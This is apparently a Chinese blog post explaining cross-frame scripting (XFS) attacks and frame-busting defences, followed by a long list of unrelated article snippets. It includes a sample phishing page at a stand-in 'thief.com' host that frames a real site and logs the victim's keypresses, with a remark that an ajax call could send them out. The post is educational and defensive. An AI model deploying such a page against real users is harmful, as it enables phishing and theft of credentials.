cuishen
cuishen

XFS攻击一例

XFS： Cross Frame Script (跨框架脚本) 攻击。

什么是XFS攻击，下面举一个例子：

Tom在QQ上发消息诱骗Jerry点击了下面的连接： 
http://thief.com

上面的连接返回了下面的html： 
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
function alertKey(e) {
	alert("key press = '" + e.which + "'");
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">
 <frame src="http://cuishen.iteye.com/" scrolling="auto">
</frameset>
</html>

对于Jerry来说，他以为自己在访问熟悉的网站，殊不知将输入的敏感信息暴露给了Tom （只要将上面alert 改成ajax call）。

魔高一尺，道高一丈，对于XFS攻击也有防御的办法。
主要算法是：

A. 对于确定你的网站没有使用frame的页面要打破frame （frame busting） 
        <style>
                html { visibility:hidden; }
        </style>
        <script>
                if( self == top){
                        document.documentElement.style.visibility='visible';
                }else{
                        top.location = self.location;
                }
        </script>

B. 对于有使用iframe 和frame的页面当心anti-busting，换做下面的脚本： 
if top <> self then
    if top.location.hostname <> self.location.hostname then
        top.location = "http://cuishen.iteye.com/"
    end if
end if


你的网站可能会毫不知情的被外面包裹一层frame，而变成了一个钓鱼网站，so... 请尽量避免在你的网站使用frame/iframe，并且应用frame busting脚本。

对于user来说，请升级到IE7以上浏览器，并设置：
Navigate sub-frames across different domains
set to "Prompt" or "Disable"， 这个将在浏览器层面防御XFS攻击。

你可能感兴趣的:(js,脚本,Security,XFS,攻击)

  • Redis 字符串（String）详解 wangjinjin180 redis数据库缓存
    1.什么是字符串类型在Redis中，字符串（String）是最基本的数据类型。它可以包含任何数据，比如文本、JSON、甚至二进制数据（如图片的Base64编码），最大长度为512MB。字符串在Redis中不仅可用作简单的key-value存储，还可用于计数器、自增ID、缓存临时数据等多种应用场景。2.字符串的使用方式最常见的用法是直接设置和获取：12SETuser:1001:name"Alice"
  • 前端（vue）exceljs导出Excel（导出图片） 社会底层无业大学生 vuevue.js前端javascript
    少说废话，直接入题先引入exceljsnpminstallexceljs--save随后在导出Excel的方法里面这样写asyncexportExcel(){//定义表头constcolumns=[{header:'标题名',key:'data数据字段名',width:14},{header:'姓名',key:'name',width:14},{header:'头像',key:'img',widt
  • React8+taro开发微信小程序，实现lottie动画 ace_TiAmo taro微信小程序小程序reactReact
    安装核心依赖npminstalllottie-miniprogram@tarojs/plugin-html--save修改Taro配置(config/index.js)constconfig={plugins:['@tarojs/plugin-html',//其他插件...],mini:{canvas:true,webpackChain(chain){chain.merge({module:{ru
  • Debian/Ubuntu Server高效禁用海外IP访问的一种方法 BBM的开源HUB IT运维服务器运维
    面对越来越多的海外IP扫描、攻击，让服务器损失大量的性能，影响服务器提供正常的对外服务，同时给自己的服务器处理风险之中，本文讲述了一种使用ufw防火墙的方式高效阻止海外IP的一种方法。阻止IP访问的方法有很多种，这里介绍一个小巧实用的方案ufw+ipset。IPSet是一个用于创建、管理和查询IP地址集合的工具。它支持多种集合类型，如哈希、树、布尔和地理IP集合。这些集合可以用于防火墙规则，实现更
  • 服务器购买后如何设置防火墙？ 网硕互联的小客服 服务器运维windowslinux云计算防火墙
    服务器购买后，设置防火墙是保障网络安全的第一步。防火墙可以控制流量的进出，防止未经授权的访问，同时保护服务器免受攻击。以下是服务器防火墙的设置步骤，包括常见的防火墙工具（如UFW、firewalld和iptables）的配置方法。一、准备工作确认服务器环境服务器操作系统：如Ubuntu、Debian、CentOS或WindowsServer。确认服务器的SSH端口（默认是22），避免被误封。检查防
  • Perl中的代理模式：代理的艺术与实践 2401_85742452 perl代理模式开发语言
    Perl中的代理模式：代理的艺术与实践在软件开发中，代理模式是一种结构型设计模式，它为另一个对象提供一个代替或占位符对象以控制对它的访问。Perl作为一种灵活的脚本语言，非常适合实现代理模式，以提供额外的功能或访问控制。本文将深入探讨如何在Perl中实现代理模式，并展示具体的代码示例。一、代理模式概述代理模式包含以下几个关键角色：主题（Subject）：定义了真实对象和代理对象的共同接口。真实主题
  • Unity制作RPG游戏——Animator Controller常见问题2 一棵橙子树 游戏开发技术游戏开发
    上一篇文章主要介绍了Animator中的一些常见问题，这里将会更深入的去完善它，主要涉及一下几个方面的问题。1.如何解决Trigger累积问题（unity动画控制器臭名昭著的bug）2.如何在进入动画时触发相应的方法3.如何获取根据动画获取某些变量值4.如何设置多个动画层级，并实现层级之前的流畅切换5.什么是Avator，如何针对不同的动画设计不同的Avator6.如何脚本控制RootMotion
  • 构建高可用和高防御力的云服务架构第一部分：深入解析DDoS高防（15） m0_74823264 面试学习路线阿里巴巴架构ddos
    引言在数字化时代，网络安全已成为全球关注的焦点。随着互联网技术的快速发展和应用的广泛深入，网络安全形势日益严峻。特别是分布式拒绝服务（DDoS）攻击，以其破坏性强、难以防范的特点，对个人、企业乃至国家安全构成了严重威胁。当前网络安全形势概述2024年，网络安全形势依然严峻。随着数字化转型的加速，网络空间的安全威胁也在不断演变。根据《2024年中国网络安全市场全景图》，网络安全市场的分类架构涵盖了安
  • 游戏盾IP可以被破解吗 2301_78078966 游戏tcp/ip网络协议游戏盾web安全ddos网络安全
    游戏盾IP（如上海云盾SDK、腾讯云游戏盾）是专为游戏行业设计的高防服务，旨在抵御DDoS攻击、CC攻击等威胁。其安全性取决于技术架构、防护能力以及运维策略。虽然理论上没有绝对“无法破解”的系统，但游戏盾IP在合理配置下能有效抵御绝大多数攻击，以下是详细分析：一、游戏盾IP的核心防护机制1.流量清洗与隐藏源站IP隐藏：游戏盾IP作为代理，屏蔽真实服务器IP，攻击者无法直接定位源站。近源清洗：在运营
  • java获取微信小程序openid 码农·阿飞 java微信小程序
    后端通过appid、secret以及传过来的code生成openid返回给前端后端代码：@ApiOperation(value="小程序登录")@GetMapping(value="/login")publicResultLogin(Stringcode){GetOpenIdUtilgetOpenIdUtil=newGetOpenIdUtil();StringjsonId=getOpenIdUti
  • Asp.NET Core WebApi 创建带鉴权机制的Api 她说彩礼65万 Asp.netasp.net后端
    构建一个包含JWT（JSONWebToken）鉴权的WebAPI是一种常见的做法，用于保护API端点并验证用户身份。以下是一个基于ASP.NETCore的完整示例，展示如何实现JWT鉴权。1.创建ASP.NETCoreWebAPI项目使用.NETCLI或VisualStudio创建一个新的WebAPI项目：dotnetnewwebapi-nJwtAuthApicdJwtAuthApi2.安装必要的
  • C++基于rapidjson的Json与结构体互相转换 一只小肥羊12581 c++json算法
    简介使用rapidjson库进行封装，实现了使用C++对结构体数据和json字符串进行互相转换的功能。最短只需要使用两行代码即可无痛完成结构体数据转换为Json字符串。支持std::string、数组、POD数据（int,float,double等）、std::vector、嵌套结构体，容器内放结构体等。优点1、代码轻量级；仅需引入rapidjson库以及三个头文件即可完成；2、操作简单；仅需在结
  • vue - 解决报错 Error: error:0308010C:digital envelope routines::unsupported（Vue项目启动或打包时提示错误，降低node版本没用） 十一猫咪爱养鱼 前端组件与功能(开箱即用)前端常见问题解决vue2vue3error0308010CVue报错error0308dev无法运行启动build打包编译报错项目启动失败提示错误
    问题说明在vue2、vue3项目开发中，执行rundev运行|runbuild打包时，Vue报错error:0308010C:digitalenveloperoutines::unsupported，很奇怪的错误，无论是打包编译还是正常运行测试，直接报错终止，并且更改node.js版本依旧无效，试了很多办法都不行，提供详细解决教程！其他教程都无法解决，在本文你只要报类似的错误就可以完美解决。解决教
  • Linux- systemd -管理工具 | systemd 命令和 sysvinit 命令对比 hh_0211 LinuxLinux-systemd-管理工具
    Linux-systemd-管理工具在RHEL7.x，Centos7.x版本之中，最重要的改变之一就是使用Systemd管理机制，不仅可以完成系统的初始化，还可以对系统和服务进行管理，虽然切换到了Systemd，仍然兼容Sysvinit和Linux标准组的启动脚本，之前的Sysvinit，Upstart初始化在红帽企业版位于/etc/rc.d/init.d目录中的bash初始化脚本管理服务，而在R
  • 通过 Web 应用程序防火墙 (WAF) 来保护您的nginx应用 云攀登者-望正茂 azurewafapplicationgatewaynginxazure
    WAF使用OWASP规则来保护您的应用程序。这些规则包括针对SQL注入、跨站点脚本攻击和会话劫持等攻击的保护。创建应用程序网关后，您可以对其进行测试以确保其正常工作。使用Azure应用程序网关，您可以通过将侦听器分配给端口、创建规则以及将资源添加到后端池来将应用程序Web流量定向到特定资源。创建应用程序网关在Azure门户的左侧菜单中选择“创建资源”。出现“创建资源”窗口。选择“网络”，然后在“热
  • 云原生运维在 2025 年的发展蓝图 MXsoft618 运维服务器数据库
    随着云计算技术的不断发展和普及，云原生已经成为了现代应用开发和运维的主流趋势。云原生运维是指在云原生环境下，对应用进行部署、监控、管理和优化的过程。在2025年，云原生运维将迎来更加广阔的发展前景，同时也将面临着一系列的挑战和机遇。一、云原生运维的发展趋势自动化运维将成为主流随着云原生应用的复杂性不断增加，手动运维已经无法满足需求。自动化运维将成为主流趋势，通过自动化工具和脚本，实现应用的部署、升
  • 【学不动系列】lint-staged 使用教程 Spider Cat 蜘蛛猫 lint-stagedgithookhook
    lint-staged使用教程lint-staged是一个在git暂存文件上运行linters的工具，当然如果你觉得每次修改一个文件就给所有文件执行一次lint检查不恶心的话，这个工具对你来说就没有什么意义了，请直接关闭即可。npxmrmlint-staged它将根据package.json依赖项中的代码质量工具来安装和配置husky和lint-staged，因此请确保在此之前安装（npminst
  • chrome插件开发之封装好用组件-communicator.js Spider Cat 蜘蛛猫 javascriptchrome前端
    communicator.js//存储消息处理器的数组letmessageHandlers=[];//设置消息监听器constsetupMessageListener=()=>{chrome.runtime.onMessage.addListener((message,sender,sendResponse)=>{console.log('Receivedmessage:',message,'fr
  • Next.Js 权限绕过漏洞复现(附脚本)(CVE-2025-29927) iSee857 漏洞复现安全web安全
    免责申明：本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。0x01产品描述：Next.js是一个构建于Node.js之上的开源Web开发框架，支持基于React的Web应用程序功能，提供了服务器渲染、静态站点
  • CVE-2025-29927 Next.js 中间件鉴权绕过漏洞 Ly4j 漏洞复现next.js
    Next.jsNext.js是一个基于React的现代Web开发框架，用来构建高性能、可扩展的Web应用和网站。CVE-2025-29927Next.js中间件鉴权绕过漏洞CVE-2025-29927是Next.js框架中的一个授权绕过漏洞，允许攻击者通过特制的HTTP请求绕过在中间件中执行的授权检查，从而可能访问受保护的资源或执行未经授权的操作。该漏洞的根源在于Next.js使用了一个内部HTT
  • Js生成螺旋数组。 zwjapple javascript开发语言ecmascript
    这段代码定义了一个名为vetux的函数，用于生成一个螺旋矩阵。螺旋矩阵是一种按照螺旋顺序填充数字的二维数组。以下是代码的详细解释：函数定义functionvetux(n,m){//创建一个m行n列的二维数组，初始值为0consta=newArray(m).fill(0).map(()=>newArray(n).fill(0));leti=0;letj=0;letcount=1;letstepI=0
  • 安卓app下载文件（图片，pdf,excel等）到手机浏览器 至尊宝的小迷弟 androidpdfexcel
    安卓app下载文件1.导出json为excel并下载下载import*asXLSXfrom'xlsx'hahaha(){//示例调用constjsonData=[{name:'John',age:30},{name:'Jane',age:25}]constblob=this.exportToExcel(jsonData)this.uploadAndDownload(blob,'data.xlsx'
  • 涨薪技术|0到1学会性能测试第6课-测试场景Controller 川石课堂软件测试 服务器linux功能测试单元测试开发语言pythonjmeter
    前面的推文我们掌握了性能测试的常见脚本开发函数，今天给大家分享性能测试场景策略Controller，后续文章都会系统分享干货，带大家从0到1学会性能测试，另外还有教程等同步资料，文末加小编VX：flyhappy111领取即可!01场景策略关于场景策略设置有以下四个选项：1.如何初始化虚拟用户--->同时初始化所有的虚拟用户--->每隔多长时间初始化多少个虚拟用户--->在脚本运行前初始化好所有的虚
  • 【Flask开发】嘿马文学web完整flask项目第4篇：4.分类,4.分类【附代码文档】 flaskpython前端后端
    教程总体简介：2.目标1.1产品与开发1.2环境配置1.3运行方式1.4目录说明1.5数据库设计2.用户认证JsonWebToken(JWT)3.书架4.1分类列表5.搜索5.3搜索-精准&高匹配&推荐6.小说6.4推荐-同类热门推荐7.浏览记录8.1配置-阅读偏好8.配置9.1项目部署uWSGI配置启动9.部署10.1异常和日志10.补充10.2flask-restful1.项目目录实现3.数据
  • java 怎样解析jwt中的payload zru_9602 javajava开发语言
    在Java中解析JWT（JSONWebToken）中的Payload部分，通常需要使用一些库来简化操作。以下是几种常见的方法：1.使用jjwt库jjwt是一个流行的开源库，专门用于处理JWT。你可以通过以下步骤解析JWT的Payload。步骤1：添加依赖在pom.xml文件中添加jjwt依赖：io.jsonwebtokenjjwt-api0.9.1io.jsonwebtokenjjwt-impl0
  • 通过windows脚本批量计算当前文件目录下文件的md5 zru_9602 操作系统windows
    脚本如下：@echooffsetlocalenabledelayedexpansionecho正在生成文件校验信息，请稍候...echo------------------------------(for/f"delims="%%fin('dir/b/a-d*')do(set"file=%%f"set"md5="for/f"skip=1tokens=*"%%ain('CertUtil-hashfi
  • HTML 头部介绍 小黑蛋学java htmlhtml
    HTML头部是网页中最重要的部分之一，它包含了一些必要的信息，如文档类型、字符编码、样式表和脚本等。本文将详细介绍HTML头部的作用及其代码演示。一、HTML头部的作用HTML头部是网页的入口，它包含了一些必要的信息，如文档类型、字符编码、样式表和脚本等。以下是HTML头部的主要作用：1.指定文档类型声明指定了HTML文档的版本和类型。这个声明必须位于HTML文档的第一行，告诉浏览器文档使用哪个H
  • 微信小程序页面事件 - 下拉刷新与上拉触底 前端梨白 微信小程序前端小程序
    一、下拉刷新1.概念：下拉刷新是移动端的专有名词，指的是通过手指在屏幕上的下拉滑动操作，从而重新加载页面数据的行为。2.启用下拉刷新启用下拉刷新有两种方式：①全局开启下拉刷新在app.json的window节点中，将enablePullDownRefresh设置为true②局部开启下拉刷新在页面的.json配置文件中，将enablePullDownRefresh设置为true在实际开发中，推荐使用
  • 常见的 HTML 标签 2303_79975149 前端
    HTML拥有众多标签，它们依据功能和用途可大致分为以下几类：1.文档结构标签这类标签用于构建HTML文档的基本框架。：代表HTML文档的根元素，所有其他HTML元素都应包含在该标签内。：包含关于HTML文档的元数据，像文档标题、字符编码、样式表和脚本引用等。：定义HTML文档的标题，会显示在浏览器的标题栏或标签页上。：包含了在网页上可见的内容，例如文本、图像、链接等。2.文本格式化标签这些标签用来
  • springboot+vue3+Element-plus前后端分离（文件上传与回显） 金融小白数据分析之路 前端后端SSM框架学习springvue.jsjava
    一、前端实现（一）、创建vue工程npminitvue@latest输入项目名称【big-file】后，全部选择否。G:\codevue\big-event-file>cdG:\codevueG:\codevue>npminitvue@latest>npx>create-vueVue.js-TheProgressiveJavaScriptFramework√请输入项目名称：...big-file√
  • 集合框架 天子之骄 java数据结构集合框架
       集合框架 集合框架可以理解为一个容器，该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。 从本质上来说，Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。   简单介绍：   Collection接口是最基本的接口，它定义了List和Set，List又定义了LinkLi
  • Table Driven（表驱动）方法实例 bijian1013 javaenumTable Driven表驱动
    实例一： /** * 驾驶人年龄段 * 保险行业，会对驾驶人的年龄做年龄段的区分判断 * 驾驶人年龄段：01-[18,25);02-[25,30);03-[30-35);04-[35,40);05-[40,45);06-[45,50);07-[50-55);08-[55,+∞) */ public class AgePeriodTest { //if...el
  • Jquery 总结 cuishikuan javajqueryAjaxWebjquery方法
    1.$.trim方法用于移除字符串头部和尾部多余的空格。如：$.trim('   Hello   ') // Hello2.$.contains方法返回一个布尔值，表示某个DOM元素（第二个参数）是否为另一个DOM元素（第一个参数）的下级元素。如：$.contains(document.documentElement, document.body); 3.$
  • 面向对象概念的提出 麦田的设计者 java面向对象面向过程
            面向对象中，一切都是由对象展开的，组织代码，封装数据。   在台湾面向对象被翻译为了面向物件编程，这充分说明了，这种编程强调实体。       下面就结合编程语言的发展史，聊一聊面向过程和面向对象。      c语言由贝尔实
  • linux网口绑定 被触发 linux
    刚在一台IBM Xserver服务器上装了RedHat Linux Enterprise AS 4，为了提高网络的可靠性配置双网卡绑定。 一、环境描述 我的RedHat Linux Enterprise AS 4安装双口的Intel千兆网卡，通过ifconfig -a命令看到eth0和eth1两张网卡。 二、双网卡绑定步骤： 2.1 修改/etc/sysconfig/network
  • XML基础语法 肆无忌惮_ xml
    一、什么是XML？ XML全称是Extensible Markup Language，可扩展标记语言。很类似HTML。XML的目的是传输数据而非显示数据。XML的标签没有被预定义，你需要自行定义标签。XML被设计为具有自我描述性。是W3C的推荐标准。   二、为什么学习XML？ 用来解决程序间数据传输的格式问题 做配置文件 充当小型数据库   三、XML与HTM
  • 为网页添加自己喜欢的字体 知了ing 字体 秒表 css
    @font-face { font-family: miaobiao;//定义字体名字 font-style: normal; font-weight: 400; src: url('font/DS-DIGI-e.eot');//字体文件 } 使用： <label style="font-size:18px;font-famil
  • redis范围查询应用-查找IP所在城市 矮蛋蛋 redis
    原文地址： http://www.tuicool.com/articles/BrURbqV 需求 根据IP找到对应的城市 原来的解决方案 oracle表（ip_country）： 查询IP对应的城市： 1.把a.b.c.d这样格式的IP转为一个数字，例如为把210.21.224.34转为3524648994 2. select city from ip_
  • 输入两个整数， 计算百分比 alleni123 java
    public static String getPercent(int x, int total){ double result=(x*1.0)/(total*1.0); System.out.println(result); DecimalFormat df1=new DecimalFormat("0.0000%");
  • 百合——————>怎么学习计算机语言 百合不是茶 java 移动开发
        对于一个从没有接触过计算机语言的人来说，一上来就学面向对象，就算是心里上面接受的了，灵魂我觉得也应该是跟不上的，学不好是很正常的现象，计算机语言老师讲的再多，你在课堂上面跟着老师听的再多，我觉得你应该还是学不会的，最主要的原因是你根本没有想过该怎么来学习计算机编程语言，记得大一的时候金山网络公司在湖大招聘我们学校一个才来大学几天的被金山网络录取，一个刚到大学的就能够去和
  • linux下tomcat开机自启动 bijian1013 tomcat
    方法一： 修改Tomcat/bin/startup.sh 为: export JAVA_HOME=/home/java1.6.0_27 export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:. export PATH=$JAVA_HOME/bin:$PATH export CATALINA_H
  • spring aop实例 bijian1013 javaspringAOP
    1.AdviceMethods.java package com.bijian.study.spring.aop.schema; public class AdviceMethods { public void preGreeting() { System.out.println("--how are you!--"); } } 2.beans.x
  • [Gson八]GsonBuilder序列化和反序列化选项enableComplexMapKeySerialization bit1129 serialization
    enableComplexMapKeySerialization配置项的含义  Gson在序列化Map时，默认情况下，是调用Key的toString方法得到它的JSON字符串的Key，对于简单类型和字符串类型，这没有问题，但是对于复杂数据对象，如果对象没有覆写toString方法，那么默认的toString方法将得到这个对象的Hash地址。   GsonBuilder用于
  • 【Spark九十一】Spark Streaming整合Kafka一些值得关注的问题 bit1129 Stream
    包括Spark Streaming在内的实时计算数据可靠性指的是三种级别： 1. At most once，数据最多只能接受一次，有可能接收不到 2. At least once, 数据至少接受一次，有可能重复接收 3. Exactly once  数据保证被处理并且只被处理一次，   具体的多读几遍http://spark.apache.org/docs/lates
  • shell脚本批量检测端口是否被占用脚本 ronin47
    #!/bin/bash cat ports |while read line do#nc -z -w 10 $line nc -z -w 2 $line 58422>/dev/null2>&1if[ $?-eq 0]then echo $line:ok else echo $line:fail fi done 这里的ports 既可以是文件
  • java-2.设计包含min函数的栈 bylijinnan java
    具体思路参见：http://zhedahht.blog.163.com/blog/static/25411174200712895228171/ import java.util.ArrayList; import java.util.List; public class MinStack { //maybe we can use origin array rathe
  • Netty源码学习-ChannelHandler bylijinnan javanetty
    一般来说，“有状态”的ChannelHandler不应该是“共享”的，“无状态”的ChannelHandler则可“共享” 例如ObjectEncoder是“共享”的, 但 ObjectDecoder 不是 因为每一次调用decode方法时，可能数据未接收完全（incomplete）， 它与上一次decode时接收到的数据“累计”起来才有可能是完整的数据，是“有状态”的 p
  • java生成随机数 cngolon java
    方法一： /** * 生成随机数 * @author cngolon@126.com * @return */ public synchronized static String getChargeSequenceNum(String pre){ StringBuffer sequenceNum = new StringBuffer(); Date dateTime = new D
  • POI读写海量数据 ctrain 海量数据
    import java.io.FileOutputStream; import java.io.OutputStream; import org.apache.poi.xssf.streaming.SXSSFRow; import org.apache.poi.xssf.streaming.SXSSFSheet; import org.apache.poi.xssf.streaming
  • mysql 日期格式化date_format详细使用 daizj mysqldate_format日期格式转换日期格式化
    日期转换函数的详细使用说明  DATE_FORMAT(date,format) Formats the date value according to the format string. The following specifiers may be used in the format string. The&n
  • 一个程序员分享8年的开发经验 dcj3sjt126com 程序员
      在中国有很多人都认为IT行为是吃青春饭的，如果过了30岁就很难有机会再发展下去!其实现实并不是这样子的，在下从事.NET及JAVA方面的开发的也有8年的时间了，在这里在下想凭借自己的亲身经历，与大家一起探讨一下。 明确入行的目的 很多人干IT这一行都冲着“收入高”这一点的，因为只要学会一点HTML, DIV+CSS，要做一个页面开发人员并不是一件难事，而且做一个页面开发人员更容
  • android欢迎界面淡入淡出效果 dcj3sjt126com android
    很多Android应用一开始都会有一个欢迎界面，淡入淡出效果也是用得非常多的，下面来实现一下。 主要代码如下： package com.myaibang.activity; import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.os.CountDown
  • linux 复习笔记之常见压缩命令 eksliang tar解压linux系统常见压缩命令linux压缩命令tar压缩
    转载请出自出处:http://eksliang.iteye.com/blog/2109693 linux中常见压缩文件的拓展名 *.gz gzip程序压缩的文件 *.bz2 bzip程序压缩的文件 *.tar tar程序打包的数据，没有经过压缩 *.tar.gz tar程序打包后，并经过gzip程序压缩 *.tar.bz2 tar程序打包后，并经过bzip程序压缩 *.zi
  • Android 应用程序发送shell命令 gqdy365 android
    项目中需要直接在APP中通过发送shell指令来控制lcd灯，其实按理说应该是方案公司在调好lcd灯驱动之后直接通过service送接口上来给APP，APP调用就可以控制了，这是正规流程，但我们项目的方案商用的mtk方案，方案公司又没人会改，只调好了驱动，让应用程序自己实现灯的控制，这不蛋疼嘛！！！！ 发就发吧！ 一、关于shell指令： 我们知道，shell指令是Linux里面带的
  • java 无损读取文本文件 hw1287789687 读取文件无损读取读取文本文件charset
    java 如何无损读取文本文件呢？ 以下是有损的 @Deprecated public static String getFullContent(File file, String charset) { BufferedReader reader = null; if (!file.exists()) { System.out.println("getFull
  • Firebase 相关文章索引 justjavac firebase
    Awesome Firebase 最近谷歌收购Firebase的新闻又将Firebase拉入了人们的视野，于是我做了这个 github 项目。 Firebase 是一个数据同步的云服务，不同于 Dropbox 的「文件」，Firebase 同步的是「数据」，服务对象是网站开发者，帮助他们开发具有「实时」（Real-Time）特性的应用。 开发者只需引用一个 API 库文件就可以使用标准 RE
  • C++学习重点 lx.asymmetric C++笔记
    1.c++面向对象的三个特性：封装性，继承性以及多态性。   2.标识符的命名规则：由字母和下划线开头，同时由字母、数字或下划线组成；不能与系统关键字重名。   3.c++语言常量包括整型常量、浮点型常量、布尔常量、字符型常量和字符串性常量。   4.运算符按其功能开以分为六类：算术运算符、位运算符、关系运算符、逻辑运算符、赋值运算符和条件运算符。 &n
  • java bean和xml相互转换 q821424508 javabeanxmlxml和bean转换java bean和xml转换
    这几天在做微信公众号 做的过程中想找个java bean转xml的工具，找了几个用着不知道是配置不好还是怎么回事，都会有一些问题， 然后脑子一热谢了一个javabean和xml的转换的工具里，自己用着还行，虽然有一些约束吧 ， 还是贴出来记录一下      顺便你提一下下，这个转换工具支持属性为集合、数组和非基本属性的对象。   packag
  • C 语言初级 位运算 1140566087 位运算c
    第十章 位运算   1、位运算对象只能是整形或字符型数据，在VC6.0中int型数据占4个字节   2、位运算符： 运算符 作用 ~ 按位求反 << 左移 >> 右移 & 按位与 ^ 按位异或 | 按位或 他们的优先级从高到低；   3、位运算符的运算功能： a、按位取反： ~01001101 = 101
  • 14点睛Spring4.1-脚本编程 wiselyman spring4
    14.1 Scripting脚本编程 脚本语言和java这类静态的语言的主要区别是:脚本语言无需编译,源码直接可运行; 如果我们经常需要修改的某些代码,每一次我们至少要进行编译,打包,重新部署的操作,步骤相当麻烦; 如果我们的应用不允许重启,这在现实的情况中也是很常见的; 在spring中使用脚本编程给上述的应用场景提供了解决方案,即动态加载bean; spring支持脚本
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他